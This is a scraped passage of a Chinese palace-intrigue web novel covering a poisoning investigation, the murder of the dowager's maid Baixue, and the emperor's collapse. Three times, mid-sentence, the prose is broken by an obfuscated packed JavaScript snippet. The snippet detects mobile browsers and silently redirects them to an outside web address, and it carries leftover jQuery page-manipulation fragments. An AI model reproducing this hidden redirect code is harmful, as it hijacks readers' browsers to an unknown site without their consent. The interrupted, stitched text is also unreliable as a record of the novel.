不一会就到了中午,沈安宁正跟着张千、陈子洵等去廊庑下吃饭,见方书君和杜桢过来,正要一道坐下时就听见一位小公公走了过来朝沈安宁道:“沈元帅!三位公主有请!” 众人看向远处,三位公主正在檐廊下等着,沈安宁和张千、陈子洵等示意后,就跟着小公公去了公主们所在之处。 方昭潇一见沈安宁就十分高兴,拉着沈安宁道:“师父!大殿那边没事了吧?没事了就快来教我枪法!” 沈安宁被她拉着朝后宫走去,一旁的方昭溪道:“你还是先把文章背了吧!不然明日田博士又要说你了!” 方昭潇撇了撇嘴,哼了一声道:“不要你管!” 方昭溪转过头去,“谁愿意管你?” 说着方昭溪就要往前走,沈安宁立即道:“不知两位公主找我是为何事?” 方昭潇朝沈安宁笑道:“当然是想让师父……想见师父!这才跟着四娘前来!” 沈安宁看向方昭浅,她和方昭浅自宫变一事后并未有多少接触,之后听方景淮和叶云舒说起自己下狱后,方昭浅所做的,沈安宁对她很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408742|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是感激,只是一直没有一个合适的时机。 一旁安静许久的方昭浅这才开口道:“听闻有一种从杞国而来的毒药,能让中毒之人如正常衰老而死。” 说着方昭浅顿了顿,看着沈安宁道:“九郎和淑妃娘娘所中之毒,会不会就是这个?” 沈安宁一听便知是叶云舒故意放出的消息,方昭潇立即道:“若真的是这个毒药,那可有解药?” 方昭浅摇了摇头,“不知!” 方昭潇有些失望地低下了头,方昭溪却疑惑道:“杞国来的毒药?九郎是在宫中中毒的,难道是……” 方昭溪话刚说到这,就想起方昭浅还在一旁,于是赶紧收了声,想了想又道:“既然知道毒药了,那让太医署的那些医师去配解药不就行了吗?” 方昭浅道:“我阿娘是看着九郎长大的,她不会害九郎的!” 说完方昭浅就转身离开了,方昭溪自知当着她的面怀疑她母亲是不对,也不好再多言,方昭潇不明是怎么回事,朝着方昭浅的背影道:“四娘!” 见方昭浅并未回头,方昭潇嘀咕道:“怎么生气了呢?” 说着方昭潇才想起钟昭仪是翎王府郡主,又回头朝方昭溪道:“都怪你!” 方昭溪气不过,转身朝反方向离去了。 沈安宁拉着方昭潇道:“我去追四公主吧!” 方昭潇点了点头,“我得回去背书,你待会若是有了空闲就来找我,教我枪法!” 沈安宁应下了,就跟着方昭浅的方向而去,到了一处回廊的转角处,才追上了方昭浅。 “四公主!且慢!” 方昭浅这才停下了脚步,回过头见是沈安宁追了上来,于是等了片刻,等沈安宁追上后,她才开口道:“你也觉得是我阿娘给九郎下毒是吗?” 思量了片刻,方昭浅又问道:“九郎……也是这么想的是吗?” 沈安宁行了一礼,抬头道:“燕王从未说过是钟昭仪下毒,我想他也不会这样想的。” 方昭浅抬头看向沈安宁,“那你呢?” 沈安宁严肃道:“我信他,既然他相信不是,那我也相信不是!” 方昭浅盯着沈安宁看了片刻,紧皱的眉头才渐渐放开,“那你追上来是为何事?” 沈安宁又行了一礼,“我听叶姑娘和燕王说起我入狱后公主为我做的事,一直没有机会向公主表示感谢!” 方昭浅道:“你不用感谢我,我也没做什么事,就当是还你的人情吧!” “人情?”沈安宁不解。 方昭浅转过头,“谢你当日在御书房有意护我阿娘名声,又将我摘出。” 沈安宁这才想起当时的情景,抬头准备说话时,透过前方的一处月洞门见到一个熟悉的身影走过,那人正是银杏,银杏神色倒是如常,并无异样,只是那边正是原先钟昭仪住的雁栖宫和卢婕妤所住的幽月宫,这两宫本就清静,自两人去世后,雁栖宫虽还有方昭浅住,但这边除了方昭浅的宫人外更是少有其他宫人前来了。 方昭浅久未听见沈安宁的声音,便回头见沈安宁正盯着远处月洞门发呆,于是问道:“沈元帅?” 沈安宁这才回过神来,思量了片刻道:“我听闻公主收藏了许多古籍,想去看看,不知是否可行?” 方昭浅心中疑惑,但面上依旧是不显任何情绪,道:“既然沈元帅有此兴致,那便随我来吧!” “多谢公主!” 说着沈安宁跟着方昭浅一道朝雁栖宫而去。 114. 第一百一十四 白雪 金乌高飞,碧空如洗,一夜未睡的除了方景泽还有邵暮,邵暮回了府后向邵盛告知了雷炎的处理情况,便回了自己院子,一大早就梳洗好了,独自进了宫。 邵暮先是去了凝黛宫待了许久,见邵贵妃事务繁忙了起来,便起身告退了,邵欣让人送邵暮出宫,邵暮向邵欣行了一礼,回头时不经意间瞟过一旁一位宫人,出了凝黛宫后,邵暮跟着带路的小公公行至一处时,抬手摸了摸耳垂,正要说话时就听见身后突然传来一声呼唤:“邵小姐!” 邵暮和小公公一道回过头,见一个宫女正往这边来,等宫女近到眼前行礼后,递上了一只耳环,“这是邵小姐的耳环吧!” 邵暮看了银杏一眼,随后惊讶道:“是我的!多谢!” 说着又摸上了耳垂,疑惑道:“我还有一只不见了!” 银杏闻言急忙作紧张模样,“我只见到了这一只!” 邵暮叹了口气道:“这是王夫人给我的,我日日戴着,怎么今日偏丢了一只!这可如何是好?” 银杏瞟了一眼一旁的小公公,向邵暮道:“不如我陪邵小姐前去找找?” 邵暮有些犹豫地看向一旁引路的小公公,小公公见邵暮这般,他也听过邵府的传闻,便也不忍心邵暮回去被王夫人折磨,于是道:“那我就陪邵小姐前去找找!” 邵暮满眼感激,“只怕是会耽误公公的大事!” 一旁的银杏便急忙道:“不如公公先去忙你的事,让我陪邵小姐去找吧!我正好也要去雁栖宫送硬黄纸!” 小公公思量了片刻,便道:“也行,那你就陪邵小姐去找,找到后送邵小姐出宫!” 银杏应下,邵暮俯首道:“多谢!” 小公公朝邵暮点头,便转身离开了。 就在小公公转身后,邵暮抬起头看着小公公离开,一旁的银杏左右看了看,随后上前低声道:“小姐找我是为了何事?” 邵暮将手展开,掌心上是另一只耳环,邵暮一边将耳环带上一边说道:“有一个人,必须除掉!” 银杏听后一愣,惊讶地看了看邵暮。 邵暮转身朝太后的懿祥宫走去,回过神的银杏急忙跟上。 鲜有人走的宫道上,邵暮打量着眼前这荒凉之处,朱红色的大门显得有些破旧,除了有宫中巡逻的侍卫,这边很少有宫人前来,邵暮提起裙边,正要进去就听见一旁传来声响,邵暮回头看去,正是银杏和白雪。 白雪见到邵暮便急忙道:“你说雷炎要你带什么消息了?” 邵暮看了一眼一旁的银杏,提起裙边进这处荒凉的宫院,银杏四处看了看,道:“白妈妈,有什么话我们先进去再说吧!不然被人看见了不好!” 白雪抬头看了一眼,似乎不太想进去,于是又侧头扫了一眼周围,才踏步跟上邵暮,银杏也紧跟其后。 白雪跟着邵暮在院中停下,白雪道:“现在可以说了吧?” 邵暮却是四处打量了一圈,随后指着一处,道:“这便是当年贤妃所住之地吧?” 白雪并未看向她指着的方向,见她不回答自己的话,于是转身就想离开,银杏正要拦她,就听见邵暮道:“雷炎被抓了!” 白雪惊讶地回过头,思忖道:“被谁?” 邵暮看了一眼当年贤妃住的地方,随后转身朝另一边厢房而去,银杏看着白雪停在原地似乎在想什么,最后还是朝邵暮走了过去,银杏才跟上。 三人进了这侧的厢房,见里面满是蛛丝和灰尘,邵暮抬手掩了口鼻,一直到这处房间后面的小院子中才停下,邵暮看着小院中那口枯井,看来两边房间的布局都是一样的。 白雪打量着邵暮,见她今日似乎有些异常,又见这院中阴暗,便十分警惕起来。 邵暮道:“他被沈安宁抓了!” 白雪眉头一皱,“沈安宁?” 邵暮回头看向她,“是啊!你们杀了沈海,她这次回京,怕是会一笔一笔都讨回来!” “我们杀了沈海?”白雪嘲讽一笑,“难道你们邵府没有动手吗?难道邵小姐你不怕她来寻仇吗?” 邵暮坦荡道:“我可没说邵府没动手!只是她要找的是邵府,关我何事?我又有什么好怕的?” 说着邵暮上前道:“你还是先想想如何救雷炎吧!” 白雪警惕地看向邵暮,“你……” 白雪话还未完就感觉眼前一黑,后脑有什么在向外流,她一边回过身,一边缓缓抬手摸到了后脑勺,再一看手中满是鲜血,银杏见白雪回头看向自己,她看着手中的石头,有些害怕白雪,于是又将石头扔向了白雪,白雪这才倒地了。 银杏看着自己发抖的双手,一旁的邵暮按下了她的双手,回头蹲在白雪面前,白雪已经是说不出话来,邵暮看着那口枯井道:“听闻当年贤妃就是在这宫中跳井自杀,我也算是给你找了个人陪了!” 白雪紧盯着邵暮,邵暮低头看了一眼白雪,便要起身,忽然她见白雪因一直发抖,怀中有一包不知是什么的东西掉出,邵暮伸手拿了起来拆开一看,是一包黄色药粉,一旁的银杏见状上前蹲在邵暮一旁道:“今日在宫中听闻有一种从杞国而来的毒药,能让中毒之人如正常衰老而死,她是杞国人,会不会说的就是这个?” 邵暮盯着那包药粉看了许久,忽然笑了,“原来当初给淑妃和方景淮下毒的……是太后!” 银杏闻言一惊,邵暮将药粉收起,朝白雪道:“这算不算因果报应呢?贤妃的儿子被你下毒,你又死在这里!” 白雪躺着的地方血渐渐漫开,邵暮想了想将一点药粉沾了白雪的血给白雪喂了下去,随后又和银杏一道将白雪丢进了枯井中。 邵暮正要往外走,见银杏并未跟上,邵暮回头看去,银杏正盯着那口枯井。 邵暮思量了片刻,上前道:“你不会成为今日的她的!” 银杏回头看向邵暮,邵暮接着说道:“我也不会成为陆太后,所以将来你乖乖听话,你只会比她更风光!” 银杏听后想了想,认真道:“我今后便只听小姐的!” 邵暮点了点头,看着银杏,心中有些鄙夷,她自小便是奴婢,所以她认为最好也不过是最有权力的奴婢,想到这,邵暮忽然心一惊,银杏是如此,难道自己不是吗?自小被困于内宅,一心想着怎么对付王夫人,可这一切罪魁祸首是谁? 自己明明不比这些个皇子公主差,却只能去帮方景泽抢皇位,若是自己将来有了皇子,那龙椅是不是自己也能坐上一坐? 邵暮目光逐渐聚拢,收了心思,转身道:“走吧!” 银杏跟着邵暮离开了此处,到了人多些的宫道上时,邵暮便出宫去了,银杏则是去了趟雁栖宫。 银杏还未走多久,沈安宁便跟着方昭浅一道回了雁栖宫,刚进了宫门,宫人们就上前道:“公主!沈元帅!” 方昭浅免了她们的礼就要引着沈安宁往里走,一旁的宫人道:“公主!刚刚贵妃娘娘命人将公主的硬黄纸送来了!我们收下放在公主书房了!” 方昭浅只淡淡点了点头,示意自己知道了,宫人便下去了。 沈安宁暗自思忖了片刻,凝黛宫的宫人?难道银杏真的是来送硬黄纸的? 方昭浅见沈安宁似乎在想什么,便抬手屏退了众人,才问道:“我知道你并不是真心来看古籍,你是有什么想问我还是发现了什么异常?” 沈安宁回过神来,笑了笑,“我也不是有意要瞒公主,只是……许是我多想了!我这就告辞了!不打扰公主了!” 方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13436995|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭浅见沈安宁不说,也没强求,只点了点头,叫来了一个宫人送沈安宁出宫。 此时的懿祥宫中,太后正在那副菩萨画像前上香,一旁来了一位老公公,他步伐匆忙,但见太后正上着香,便也规矩地立在一旁。 太后抬头看了眼画像,道:“什么事?” 老公公这才上前,他回头看了一眼,随后低声道:“宫中听闻有一种从杞国而来的毒药,能让中毒之人如正常衰老而死,这种毒药和它的解药都只长在杞国。” 太后一顿,拿起了佛珠手串,老公公立即上前扶住了太后另一只手,太后转过身却没走,老公公便低着头等着。 忽然老公公听见头顶传来太后的声音,“白雪去哪了?” 老公公答道:“老奴这就去找!” 太后抬起手摆了摆,老公公低着头退了下去。 第二日一早,沈安宁便在院中练起了枪,院中风铃伴随着空中挥舞的枪响动,待晴云端着洗漱的物品前来时,沈安宁已经练了一个时辰了。 沈安宁一见晴云来了便收了枪,习惯地回头看去,若是以前,常会有一个活泼的丫头在此为自己欢呼,沈安宁神情有些失落,这时晴云身后忽然传来方景淮的声音。 “沈家娘子!这枪法真是出神入化!” 沈安宁回过头,笑了笑,便道:“你怎么来了?大病初愈,应当要好好休息的!” 沈安宁将枪丢进了一旁的兵器架上,上前扶着方景淮,方景淮低头看了一眼沈安宁扶着自己的手,笑着坐到了一旁的石桌旁。 晴云见状将手中的物件放进了屋中,又出去准备饭菜了。 方景淮看着沈安宁,见她因刚刚练枪而让发髻有些散乱,伸手去帮她整理了额头的碎发,沈安宁见状一愣,转头看向方景淮,窗边风铃响动,沈安宁发觉面上有些热,想来是刚刚练枪所致,于是很不自然地转头道:“你是不是也在怀疑白妈妈?” 方景淮正在想自己是不是因为解了毒,没有以前那边畏寒了,听见沈安宁的声音,才正色道:“听闻白妈妈是当初太后在洛京城攻陷之时遇见的,之后先帝登基,太后成为了皇后,便将白妈妈带回了宫成了她的贴身侍女。” 方景淮说着又想起一事,“之前我见过白妈妈同宫外的人交易,当时没多想,现在想来,这种事也不至于让她这样身份的人亲自去做。” 沈安宁闻言一怔,“同宫外的人交易?我也见过一次。” 方景淮正要接话,陈子洵和叶云舒急急忙忙走了过来,沈安宁和方景淮闻声回头看去,陈子洵便急道:“阿宁!太后身边那个白妈妈死了!” 沈安宁和方景淮闻言皆是一惊,叶云舒解释道:“听闻昨日白妈妈就失踪了,太后命人将整个皇宫都翻了一遍都没找到,后来不知是谁说起……”叶云舒顿了顿,看了一眼方景淮,才接着说道:“说起宫中还有一处未找,于是派人前去原先关押贤妃娘娘的地方找了一遍,在那西厢房后的枯井旁发现了血迹,又在枯井中找到了白妈妈的尸体,不过……她像是中了毒,除了后脑失血过多,体内五脏像是个百岁的老者。” “中毒?” 沈安宁见叶云舒点了点头,思忖了许久。 方景淮垂眸思量道:“近日似乎总有人走在我们前面。” 沈安宁抬头道:“我去找一趟谷大将军,和白妈妈交易的人一定要找出来,还有昨日被方景泽带走那人,他有蓝甲,想必是见过阿月,还有长乐坊的佩娘……” 说到这,沈安宁楞了楞,一旁的方景淮似乎也想到了什么,两人目光相碰,像是都明白对方的想法,叶云舒见状,思忖道:“你是想说,他们可能是同一个人?” 沈安宁和方景淮一同看向了叶云舒,点了点头。 115. 第一百一十五章 追查 陈子洵见三人这般,疑惑道:“如果真是一个人,那会是雷炎吗?” 叶云舒点了点头道:”很有可能!“ 沈安宁思量道:“我们分开去查,我去大狱看看那蒙面人,阿洵你去长乐坊打听一下那个佩娘,叶姑娘,宫中白妈妈就劳烦你去看一眼了!” 陈子洵和叶云舒对视了一眼,又一同看向沈安宁点头。 一旁的方景淮疑惑道:“我呢?” 沈安宁回头道:“你大病初愈,先在府中休息!” “大病初愈更是要多走动才能恢复的快!不信你问叶姑娘!” 说着方景淮趁沈安宁回过头看叶云舒,使劲朝叶云舒使眼色,叶云舒看着方景淮,想了想才朝沈安宁道:“他说的也对,留他在府中他也歇不安稳,倒不如让他一起去!” 沈安宁回头看了一眼方景淮,方景淮立即端正立着,微笑着看向沈安宁,沈安宁思量了片刻,才点头道:“行!那你就进宫去找找有哪些是和白妈妈合谋倒卖宫中物件的人?看是否有人见过那个接头的人。” 方景淮笑道:“好!” 沈安宁凝眸道:“京城中抓捕雷炎的通缉令一直没有撤下,若真是雷炎,他能隐藏在洛京城这么久,怕是他身后还有其他人,那人进大狱都要杀他,想来会不会是他身上有谁的把柄?” 方景淮思忖道:“大理寺卿之职此前一直是魏王,自他调任尚书令后,陆家推荐了一位大理寺丞接任大理寺卿,这个大理寺卿名叫高进,他为官已有六载,此前一直在琅州任职,前年调入京城。” “琅州?” 方景淮见沈安宁神情疑惑,点了点头,“正是陆家,陆家自陆松陆柏高中后,他们兄弟两带着妻儿来了京城定居。” 沈安宁听后眉头微皱,“照这么说,这位大理寺卿应当是陆家的人,至少是拥护陆家的,不然陆家也不会将他放在大理寺卿这个位置上,只是……” 陈子洵急问道:“只是什么?” “只是阿月姑娘在大狱被杀害时,明明是邵家一个把柄,大理寺卿却帮助邵家逃脱了。”叶云舒思量道:“所以,他其实是邵家的人?” 陈子洵听后一脸明了的神情,方景淮见沈安宁听见阿月时眼底的悲伤,于是说道:“我们还是先去查探一番,看是不是同一个人,晚上回来再看看?” 几人点了点头,随后叶云舒便告退了,陈子洵立即跟上,想了想才说道:“叶姑娘!长乐坊我不曾去过的!” 叶云舒闻言笑了笑,侧头看向陈子洵道:“我相信!” 陈子洵这才笑了出来,抬手挠了挠自己的后脑勺,叶云舒回过头道:“你万事小心!我们快走吧!” “好!” 陈子洵笑着追上叶云舒,两人一道出了沈府。 方景淮见陈子洵和叶云舒走了,正想要安慰沈安宁,就见沈安宁叫来了晴云,又让晴云去拿了一件稍厚一些的外衫,才回过头看向方景淮,“你身上的毒虽已经解了,但还是小心为好,你先穿上这个,进宫后万事小心!切莫逞强!” 方景淮就这样笑着一边听着沈安宁的话,一边任由沈安宁为自己穿上外衫,等沈安宁发觉方景淮一直没说话时,才发现原来他一直看着自己,方景淮笑道:“小的听命!” 沈安宁一笑,两人出了沈府后就分开了,一人前往皇宫,一人前往大狱。 等沈安宁到大狱时,见方景泽正从大狱出来。 方景泽抬头一见沈安宁,先是一诧,随后又很快反应过来,停在原地等着沈安宁走上前了,才问道:“沈元帅这是来看那日刺杀你的黑衣人?” 沈安宁正行了一礼,抬头道:“是!” “此案已交由本王处理,沈元帅不必挂心了!” “不必挂心?”沈安宁冷冷道:“若是魏王哪日差点被人杀害,想必很是挂心那个嫌疑犯吧!” 方景泽回头看向沈安宁,沈安宁又接着说道:“况且我怀疑那人是正在通缉的杞国奸细,身为赤州主帅,我想我应该有理由挂心!” 方景泽冷哼一声道:“沈元帅从何得知,那人就是正在通缉的杞国奸细?” 沈安宁抬头看向方景泽,“魏王你若怀疑我,便拿出证据来,不必在此逞口舌之快,是与不是,进去看看不就知道了?” 方景泽打量了沈安宁一眼,思量了片刻才让开了路,沈安宁踏步走了进去,方景泽想了想,也跟着一道进去了。 两人到了黑衣人尸体前,沈安宁看着那摘下面纱的黑衣人的脸,和通缉令上的雷炎是有六七分像,沈安宁见一旁有个仵作打扮的任,想来刚刚方景泽找人验了尸,于是一边查看尸体一边问道:“验尸结果如何?” 仵作一时不知该不该回答,忽然见方景泽去而复返,众人一道行了一礼,仵作看着方景泽,似乎想要得到方景泽的示意,一旁翻着尸体观察的沈安宁开口道:“凶器应是一把短匕首,伤口边缘参差不齐,虽离要害偏了一些,但能将凶器刺穿死者身体,定是有些力气,可能是个男子,这伤口应是匕首的刀柄处打入时所致,凶手许是第一次杀人心中慌乱,死者四肢强健,武艺高强,所以凶手所在的位置应和死者离得不远,是死者认识的人,也许是救死者出狱的人。” 方景泽打量着沈安宁,仵作闻声是一愣,一旁的众人都看着沈安宁。 沈安宁又仔细看了一眼伤口,“凶手虽有蛮力,却毫无章法,看来不会武功。” 说着沈安宁又看向尸体的手,果然蓝甲还在,沈安宁抬头盯着黑衣人的脸,思索着,方景泽见状问道:“沈元帅还看出什么了?” 沈安宁侧眼看了他一眼,便道:“这人看来就是朝廷通缉的杞国奸细,雷炎。” 方景泽瞥了一眼尸体,“雷炎前去刺杀沈元帅,难道沈家确实和他有些私怨?” 沈安宁一边拿了一块丝帕擦手,一边开口道:“魏王与其在此怀疑沈家,倒不如去洛京城中查一查他原先的藏身之所!” 说着沈安宁行了一礼准备离开,路过方景泽时又说道:“若魏王这么关心沈家,不如拿出证据将我处死,也比过一次又一次的试探来得干脆!” 说完沈安宁便离开了大狱,方景泽回头看着沈安宁离开的背影,久久未言,一旁的狱卒、仵作等见他这般都互相推搡着不敢上前,直到有一人大着胆子上前唤道:“殿下?” 方景泽并未回头,只道:“派人前去查查这个雷炎!” “是!” 众人应下后,见方景泽又不说话了,正互相看着,方景泽忽然踏步离开了大狱,大狱内众人这才松了一口气。 长乐坊是洛京有名的寻乐场所,陈子洵抬头看着长乐坊的牌匾,随后走了进去,长乐坊的焦妈妈瞧见有人进来,便小心地打量起了陈子洵,见他穿着深色长袍,全身上下也就腰间一只香包有些亮色,虽看起来朴素,也自有他的一番气度。 焦妈妈每日在这长乐坊见过多少人,自是看出了陈子洵并非寻常人家,于是热心地上前道:“这位公子!第一次来吧!” 陈子洵闻言道:“你就是这里的老板?” 焦妈妈笑着用带着香气的团扇半遮着脸,“这位公子?来着不找姑娘们?怎么找起我们老板了?” 看来这人不是老板,陈子洵又想起之前沈安宁曾说过洛京城中有多处是方景澄的产业,看来这个长乐坊也是。 “我想找佩娘姑娘!” 焦妈妈一听便收了笑打量起陈子洵,“佩娘都死了多久了?怎么还有人找她?” 陈子洵闻言一愣,思量片刻便拿出了自己的鱼符,“我正是为佩娘一案前来的,带我去佩娘生前住的地方看看!” 焦妈妈看了看陈子洵的鱼符,便冷笑一声道:“这位贵人,你若想看?可要先问问魏王?” 焦妈妈瞥了一眼陈子洵,接着说道:“佩娘死后,魏王下令她所住过的地方不许任何人进,也不许动里面任何东西,你想去看,得先问问魏王!其他若没什么事,便请离开吧!” 陈子洵眉头微皱,见对方下了逐客令,便看了看楼上一眼,转身出了长乐坊。正当他在想这长乐坊究竟是魏王的还是赵王的时,就见长乐坊侧面的茶摊处坐了一个熟悉的身影,陈子洵快步走了过去坐下。 “你怎么过来了?大狱那边怎么样了?” 沈安宁正给陈子洵倒了一杯茶,又给陈子洵说了一遍在大狱看到的,陈子洵听后眉头紧皱,道:“又是方景泽,刚刚这长乐坊的妈妈说那个佩娘死后,方景泽就下令她所住过的地方不许任何人进,也不许动里面任何东西,阿宁,你说这个佩娘和方景泽是什么关系?” 沈安宁顿了顿,初进洛京时在福星楼遇见的是方景泽安排的人,上演的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495568|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出刁难美人的戏码,若是当时方景淮没出现,那英雄救美的必然就是方景泽,正如那日在街上遇见被邵晨欺负的二旺。 原先沈安宁以为佩娘只是方景泽安排的一枚棋子,如今看来她们之间似乎不止是这么简单,可佩娘手上的蓝甲…… 陈子洵见沈安宁在思索着什么,问道:“怎么了?” 沈安宁抬头道:“佩娘怎么死的?” 陈子洵挠了挠后脑勺,“那个妈妈见我是来找佩娘的就让下逐客令了,我正想出来找个附近的人打听一下,就看见你坐在这了!” 沈安宁闻言看向了长乐坊对面的酒楼,又回头看向陈子洵,陈子洵点了点头,两人便起身丢下茶钱后朝酒楼走去。 两人进了酒楼后坐到了能看见对面长乐坊的窗边,一个小二见两人进来就急忙前来招呼,沈安宁问道:“我们兄妹第一次进京,还不知你这有何特色菜肴,你可有什么推荐?” 小二一听便笑着说了几道有名的菜,沈安宁从中随意点了几道,才一边瞟了一眼了窗外长乐坊,一边不经意地提起,“你可知对面是什么地方?感觉很是热闹,想去看看!” 小二闻言看了一眼沈安宁,笑道:“对面可不是小娘子该去的地方,那是……” 小二说着看了一眼陈子洵,才道:“总之,小娘子还是别想了!” 陈子洵看了一眼沈安宁,便道:“我家小妹自小就活泼,哪都想去看看,你莫见怪!” 小二笑道:“怎么会!” 陈子洵又朝小二挥了挥手,示意小二凑近些,等小二过来时,他才有意低声问道:“这长乐坊可有什么值得去看一眼的?我这行了一天的路,也想去听听曲!” 小二一听便来了兴致,又看了一眼沈安宁,见沈安宁已经扭过头看向窗外了,才低声向陈子洵道:“郎君这可算是找对了地方,这长乐坊可是京城中出了名的好地方!里面的姑娘们个个多才多艺,保管郎君满意!” 陈子洵看起来有些不信,“你可不要骗我,我在琅州时哪人也这样和我说,可我去了以后尽是失望!” 小二笑道:“这长乐坊绝对不会让郎君失望!不过……郎君来晚了一些日子,不然就能见那佩娘,那佩娘不仅长得艳丽,就连那一手琵琶也是一绝!” 陈子洵见沈安宁侧耳听着,便问道:“为何来晚了?难道那姑娘被人赎了去了?” 小二摇了摇头道:“死了!” 陈子洵一惊,“死了?为何啊?” 小二左右看了看,声音押得更低了,“听说是自杀!那天有一位贵人抱着她的尸体从长乐坊跑了出来,想必是做了什么,那姑娘不从,才自杀的!” 陈子洵看了一眼沈安宁,才道:“那真是可惜了!” 掌柜见小二在这边待得太久了,便唤了一声,小二急忙要走,沈安宁立即道:“可有房间?我们兄妹今夜想在此住下!” 小二又回过身来,回答道:“有有有!” 沈安宁朝陈子洵道:“我想要能看见对面的房间,虽然不能进去,但也能看着啊!” 陈子洵闻言看了一眼沈安宁,应道:“自然可以,只是不知楼上这间房可有人住?” 小二倒是楞了楞,“楼上这个位置是一个包间,没有房间的!” 沈安宁作一脸遗憾模样,陈子洵便道:“那算了吧!” 小二闻言一边往回走一边低声嘀咕,“怎么现在的小娘子都喜欢看对面的长乐坊!” 沈安宁听见了这一句便朝陈子洵道:“你看!别人也想去的!要不你就带我去吧!” 陈子洵立即会意,“不行!那哪是一个正经人家的小娘子会去的地方!” 说着又问小二道:“是哪家小娘子,竟敢这般?” 小二回过头来,“我也不知是哪家的,她一来就带着帏帽要了楼上那间包间,前阵子经常来,这阵子倒是没见到了,不过她有一个随从,经常替她守在门外,想来必定是哪个富贵人家的小姐!” 陈子洵特意摇了摇头朝沈安宁道:“你看!别人都知羞!你还要跟我去!” 小二见她们兄妹没什么事了,又见这兄长正数落这妹妹,想着这小娘子定不想旁人在,于是识趣的离开了。 等小二离开后,陈子洵低声问道:“富贵人家的小姐?” 沈安宁闻言思量着。 116. 第一百一十六章 病重 叶云舒进了宫后,先是去了太医署,随后打听出白妈妈的尸身停放在被发现的那处偏僻的宫殿中,叶云舒提着药箱悄悄前往,心中暗自思量着:白妈妈是太后身边的老人,她死后太后虽命人彻查,却没将她的尸首接出那座偏僻的宫殿,到底是因为人心凉薄,还是因为宫中那个传闻?太后是知道白妈妈是杞国人,还是怀疑她是? 叶云舒一路想着,很快就到了那处宫殿,她正要进去时发现殿内有人看守,叶云舒停住了脚步,正想着该如何进去时,忽然身后传来声响。 “师父!” 叶云舒闻声回头,见方昭清不知何时出现在此处,叶云舒有些心虚的瞥了一眼殿内,才回过头行礼道:“三公主!” 方昭清自从跟叶云舒学医后,除了照顾方承尧便是前往太医署找叶云舒问一些医术的问题,刚刚她在照顾方承尧之余看了会医书,有一处看不明白,正要前往太医署找叶云舒,路上就见叶云舒不知在想什么,于是一路跟着她到了此处。 方昭清看了一眼殿内,她也曾听闻宫中的传闻,于是问道:“师父是想去看看白妈妈的尸身吗?” 叶云舒抬头看了看方昭清,思量了片刻点了点头。 “跟我来!” 方昭清将手中医书给了身后的侍女,上前走进了宫殿内,叶云舒见状立即跟上。 殿内看管白妈妈尸首的侍卫一见方昭清来了都行了一礼,随后问道:“这里是太后娘娘吩咐看管宫人尸首之地,三公主来此处可是有何吩咐?” 方昭清瞟了一眼地上被白布盖着的尸身,才道:“近日我跟着叶医师学习医术,叶医师交我针灸之术,有些地方需要用人的身体演示,我初学医术,不好拿活人来受罪,今早听闻宫中发现了一具尸体,我想让叶医师用来替我演示一遍,不会耽误你太多时间的!” 侍卫有些为难,方昭清又说道:“我知道这是太后娘娘宫中的白妈妈,等会我就去和太后娘娘说明,只是看这时辰,叶医师很快就要出宫了,我怕来去耽误了时辰,又要等到明日才能学了!不如你们通融下,等我学完了,叶医师正好出宫,我也正好去找太后娘娘说明?” 侍卫们互相看了几眼,最后才道:“那三公主尽快!” 方昭清道了声谢,就朝叶云舒看了一眼,叶云舒十分感激地点了点头,两人便朝白妈妈的尸体走去。 叶云舒在白妈妈的尸体旁放下药箱,缓缓掀开白布,一旁的方昭清见白妈妈满脸血迹吓了一跳,又很快镇静下来。 叶云舒见方昭清凑近后,知道方昭清没事了,于是开始检查白妈妈的尸身,又特意看了一眼白妈妈是否有蓝甲,最后摸了一把脉,心中一惊,五脏衰竭,如一个年迈的老者,这是……中毒了? 方昭清见叶云舒正思量着什么,便没有打扰,等叶云舒检查完了以后,方昭清正要起身,就见叶云舒转身拿出了一套银针,方昭清一愣。 叶云舒将装着银针的布包展开,道:“公主不是要学针灸吗?” 方昭清本是找的借口,但心中确实也是想学的,于是点了点头,叶云舒就这白妈妈的尸首给方昭清讲解了针灸之术。 不知不觉中就到了要出宫的时辰,叶云舒一边收起银针,一边解答方昭清的问题,忽然一个宫人冲了进来,侍卫立即拦下,叶云舒和方昭清闻声看了过去,认出了那是方昭清的侍女,于是方昭清起身道:“那是枕霞宫的宫人,想必是来找我的!快让她进来!” 侍卫这才放了那宫人进来,侍女进来后忽然一下跪到了方昭清面前,紧张道:“圣上!圣上……” 一旁的叶云舒收拾了药箱,一听这话也走了过来,方昭清忙问道:“圣上怎么了?” 侍女低头道:“圣上……昏倒了!” “什么?” 方昭清一惊,叶云舒急忙道:“先赶紧过去看看!” “对!对!我们去看看!” 说着方昭清就往外跑去,叶云舒也快步跟上。 